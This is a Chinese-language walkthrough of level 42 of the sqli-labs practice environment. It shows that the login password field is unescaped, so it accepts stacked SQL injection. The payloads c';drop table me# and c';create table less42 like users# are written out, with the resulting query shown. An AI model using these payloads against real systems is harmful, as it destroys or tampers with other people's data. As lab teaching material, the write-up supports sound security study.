zoukankan      html  css  js  c++  java
  • Sqli-labs less 42

    Less-42

    Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

    本关从login.php源代码中分析可知:

    Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。

    登录用户名随意

    密码登录用以下的方式c';drop table me# (删除me 表)

    c';create table me like users# (创建一个me 的表)

    下面这张图是我们没有登录时数据库当中存在的表

    此处登录username:admin

    Password:c';create table less42 like users#

    原sql语句为

    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

    登录时构造的sql语句为

    SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

    利用stacked injection,我们成功执行创建数据表less42的语句。

    从下图可以看出show tables后已经成功创建less42表。

    利用c';drop table me#作为登录密码,删除该表。

    同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

  • 相关阅读:
    Codeforces Round 718C Sasha and Array (矩阵线段树)
    Ural Timus 1009 K-based Numbers (dp+矩阵快速幂+快速乘)
    CPE常用指令
    Error opening terminal:xterm解决方法
    编译MT7620n NFS文件系统
    ubuntu中把dash链接变成bash
    USB相关
    HI3515海思开发板移植3G模块笔记
    openwrt的一些琐事
    snprintf拷贝字符串
  • 原文地址:https://www.cnblogs.com/lcamry/p/5762791.html
Copyright © 2011-2022 走看看